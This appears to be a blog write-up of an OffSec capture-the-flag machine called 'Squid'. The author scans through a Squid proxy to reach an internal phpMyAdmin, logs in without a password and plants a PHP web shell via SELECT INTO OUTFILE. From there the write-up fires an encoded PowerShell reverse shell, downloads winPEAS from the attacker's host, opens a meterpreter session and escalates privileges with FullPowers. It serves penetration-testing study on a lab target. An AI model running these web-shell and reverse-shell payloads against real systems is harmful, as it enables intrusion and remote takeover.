OffSec Squid game

Squid loves to pass stuff around…

No exploits?

This CTF was quite interesting because there were no exploit PoCs initially, unlike other challenges. This time there is a Windows server that hosts Squid Proxy 4.14 server and wants me to somehow access phpMyAdmin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(kali㉿kali)-[~/Desktop/Squid]
└─$ nmap -sC -sV -A 192.168.202.189 -T5 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 04:30 EDT
Nmap scan report for 192.168.202.189
Host is up (0.079s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3128/tcp open http-proxy Squid http proxy 4.14
|_http-server-header: squid/4.14
|_http-title: ERROR: The requested URL could not be retrieved
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (92%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (92%), Microsoft Windows 10 1903 - 21H1 (85%), Microsoft Windows 10 1607 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-10-14T08:33:22
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required

TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 78.67 ms 192.168.45.1
2 78.64 ms 192.168.45.254
3 79.66 ms 192.168.251.1
4 79.62 ms 192.168.202.189

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.10 seconds

This is the output. Of course I tried various tools for enumerating SMB and RPC services like enum4linux, rpcclient and smbclient but none of them seemed to work. That’s why I decided to check out 3128/tcp service that hosts Squid http proxy 4.14 Proxy Server. I went to searchsploit in order to find an exploit for this version, but it didn’t give me anything. I also searched it on Google but failed again. There was no exploit for this version that would give me authentication bypass or RCE.

The funny thing here is that I found something that would help me find phpmyadmin. As far as I know, phpmyadmin is often hosted on 8080/tcp port. I thought for a moment that I could access 127.0.0.1 of the target from Squid proxy service. I found this tool on GitHub that lets me discover open ports behind the proxy. This is CRAZY. I can brute force internal IP ranges and ports, but it’s going to take literal CENTURIES, so the only action that’s acceptable by the logic is 127.0.0.1.

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/Squid/Tools/spose]
└─$ python spose.py --proxy http://192.168.202.189:3128 --target 127.0.0.1 --port 8080
Scanning specified ports: 8080
Using proxy address http://192.168.202.189:3128
127.0.0.1:8080 seems OPEN

YES! That HAS to be phpmyadmin service. I just need to somehow get it. I thought for a moment and then I realized I could use curl tool for that like this:

1
curl --proxy http://192.168.202.189:3128 http://127.0.0.1:8080/phpmyadmin/

Well, this gave me HTML as an output, but I’m not going to paste it here because it’s going to take a HUGE space. But the most important thing is this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- Login form -->
<form method="post" id="login_form" action="index.php" name="login_form" class="disableAjax hide login js-show">
<fieldset>
<legend><input type="hidden" name="set_session" value="kfdj3qq2n0pqb9bv14uggq1151">Log in<a href="doc/html/index.html" target="documentation"><img src="themes/dot.gif" title="Documentation" alt="Documentation" class="icon ic_b_help"></a></legend><div class="item">
<label for="input_username">Username:</label>
<input type="text" name="pma_username" id="input_username" value="" size="24" class="textfield">
</div>
<div class="item">
<label for="input_password">Password:</label>
<input type="password" name="pma_password" id="input_password" value="" size="24" class="textfield">
</div><div class="item">
<label for="select_server">Server Choice:</label>
<select name="server" id="select_server"><option value="1" selected="selected">MySQL</option>
<option value="2" >MariaDB</option>
</select></div></fieldset><fieldset class="tblFooters"><input class="btn btn-primary" value="Go" type="submit" id="input_go"><input type="hidden" name="target" value="index.php"><input type="hidden" name="lang" value="en"><input type="hidden" name="token" value="673d72755448234260732c626d642447"></fieldset>
</form>

This is the login field of phpmyadmin. I can use the same external address instead of 127.0.0.1 and I can get the same result.

Talking to Squids underwater

I can try to analyze response headers from Squid Proxy. Well, I checked curl --help, and it says that if I use -i options(Flag), it will give me response headers:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop/Squid/Tools/spose]
└─$ curl -i --proxy http://192.168.202.189:3128 http://192.168.202.189:8080
HTTP/1.1 200 OK
Date: Tue, 14 Oct 2025 09:19:43 GMT
Server: Apache/2.4.46 (Win64) PHP/7.3.21
X-Powered-By: PHP/7.3.21
Content-Length: 6448
Content-Type: text/html; charset=UTF-8
X-Cache: MISS from SQUID
Via: 1.1 SQUID (squid/4.14)
Connection: keep-alive

...

Alright! Now we know the PHP version and the web server version. I’ll add this address to my proxy list in the browser (Firefox). Now when I go to [http://192.168.202.189:8080/](http://192.168.202.189:8080/`) I can access the website.

I tried some stuff, but nothing worked (SQLi attempts). Then I tried password brute force, and it also failed. I was thinking I was stuck, but then I remembered that sometimes mysql accepts login without a password. So I tried that, and it ACTUALLY WORKED! I logged into phpmyadmin service.

Now I need to look for some answers. How can we get a shell from phpmyadmin? That’s quite interesting. I searched this on Google and found this. From that blog, we can get this payload and paste it in the query editor:

1
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:\\wamp\\www\\shell.php";

Note that I got DOCUMENT_ROOT from phpinfo which was C:\wamp\www\. Shell should be uploaded into this directory (folder for Windows). Now I can execute commands like this:

1
http://192.168.202.189:8080/shell.php?cmd=dir

Of course, I received the output:

1
2
3
4
5
Volume in drive C has no label. Volume Serial Number is 5C30-DCD7 Directory of C:\wamp\www 10/14/2025 02:49 AM
. 10/14/2025 02:49 AM
.. 06/10/2020 01:09 PM 23,781 add_vhost.php 12/31/2010 10:40 AM 202,575 favicon.ico 04/20/2020 04:51 PM 20,875 index.php 10/14/2025 02:49 AM 31 shell.php 03/12/2020 12:23 PM 810 testmysql.php 09/21/2015 07:30 PM 742 test_sockets.php 11/23/2021 01:05 PM
wamplangues 11/23/2021 01:05 PM
wampthemes 6 File(s) 248,814 bytes 4 Dir(s) 10,926,424,064 bytes free

It’s not as pretty as I want it to be, but it does the job. Now I just need to get an interactive reverse shell from the server. I used revshells website to generate a PowerShell payload, and it worked! I got a shell!

1
http://192.168.202.189:8080/shell.php?cmd=powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA2ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

This is the request that worked. Now I have a PowerShell shell on the machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿kali)-[~/Desktop/Squid/Tools/spose]
└─$ ncat -lnvkp 4444
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.202.189:51492.
dir


Directory: C:\wamp\www


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/23/2021 12:05 PM wamplangues
d----- 11/23/2021 12:05 PM wampthemes
-a---- 6/10/2020 1:09 PM 23781 add_vhost.php
-a---- 12/31/2010 9:40 AM 202575 favicon.ico
-a---- 4/20/2020 4:51 PM 20875 index.php
-a---- 10/14/2025 2:49 AM 31 shell.php
-a---- 3/12/2020 12:23 PM 810 testmysql.php
-a---- 9/21/2015 7:30 PM 742 test_sockets.php


PS C:\wamp\www>

The first flag is located in the C:\local.txt file. I got the flag, but there is one more thing to do. I have to become an admin. I hosted a local HTTP server with the Python HTTP server module on my local machine in order to access winpeas script from the target.

Fixing broken pea

1
Invoke-WebRequest -Uri "http://192.168.45.226:8000/winPEASx64.exe" -OutFile "C:\\wamp\\www\winpeas.exe"

This one-liner uploaded winpeas script from my machine on the target system. .EXE file broke down for some reason, and I had to upload .BAT file. Of course I had to face a weird problem. .BAT script had the same problem. I mean… I was trying to run them, but I was getting no output. After some time I realized that it was because of STDOUT problem. To address this issue I sent winpeas.exe program’s STDOUT in another file like this:

1
.\winpwas.exe > output.txt

FINALLY, I got the output. After checking the output and looking for stuff on Google, I found this thing. According to strangers of the internet, this thing has to work on my target. I uploaded FullPowers.exe on the target machine, BUT I faced a problem. When I run it, I can’t catch STDIN.

1
2
3
4
5
6
7
8
9
10
PS C:\wamp\www> cmd.exe /c "C:\\wamp\\www\FullPowers.exe"
[+] Started dummy thread with id 2500
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
PS C:\wamp\www>

I’m going to NUKE my PC right now! Ok, no worries, we can solve this problem together… Like real friends. Alright, time to use MSFVenom for payload generation because I’m DONE working with PowerShell b64 payloads. Time to upload, big guy!

I trust the system right now. Someone might ask, “Why are you uploading msfvenom generated payload when there is Microsoft Defender on the system?” Well, I’m assuming it doesn’t work because of three reasons:

  1. It’s a CTF challenge
  2. I uploaded winpeas and AV didn’t work.
  3. I uploaded FullPowers and AV STILL didn’t work.

Let’s see what we can do with Metasploit framework…

And I shall become a Script-Kiddie again…

Alright. I generated a payload that would send meterpreter shell on 4445/tcp port because 4444/tcp is already taken by my PowerShell shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
──(kali㉿kali)-[~/Desktop/Squid/Tools]
└─$ msfconsole -q
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.45.226
LHOST => 192.168.45.226
msf exploit(multi/handler) > set LPORT 4445
LPORT => 4445
msf exploit(multi/handler) > show options

Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.45.226 yes The listen address (an interface may be specified)
LPORT 4445 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target



View the full module info with the info, or info -d command.

msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.45.226:4445
[*] Sending stage (203846 bytes) to 192.168.202.189
[*] Meterpreter session 1 opened (192.168.45.226:4445 -> 192.168.202.189:51577) at 2025-10-14 06:50:54 -0400

meterpreter >

Yes, I uploaded .EXE file and ran it on the machine from the PowerShell shell. After that I received meterpreter shell. After running ./FullPowers.exe from meterpreter shell I got escalated privileges!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
C:\wamp\www>.\FullPowers.exe
.\FullPowers.exe
[+] Started dummy thread with id 5052
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

C:\Windows\system32>

The most interesting part of this challenge

Ok. This challenge is done, but now it’s time to talk about what was interesting about it. In my opinion, using Squid proxy for port scanning was the most interesting concept. I could use CONNECT method to create various connections. For example, I could test if 3306/tcp port was open on the machine (localhost).

Now let’s imagine that the proxy server was acting as an edge proxy server. This means behind it there would be a network, or even networks! I could use this thing to discover other machines inside. Even more, it’s possible to do a port scan on them with this cool toy that I found on GitHub (talking about spose). Then I could use something else in order to “talk” to devices that are located inside the internal network.

1
2
3
┌────────┐            ┌───────────┐            ┌────────────────┐
│Attacker├────────────►Squid Proxy├────────────►Internal Machine│
└────────┘ └───────────┘ └────────────────┘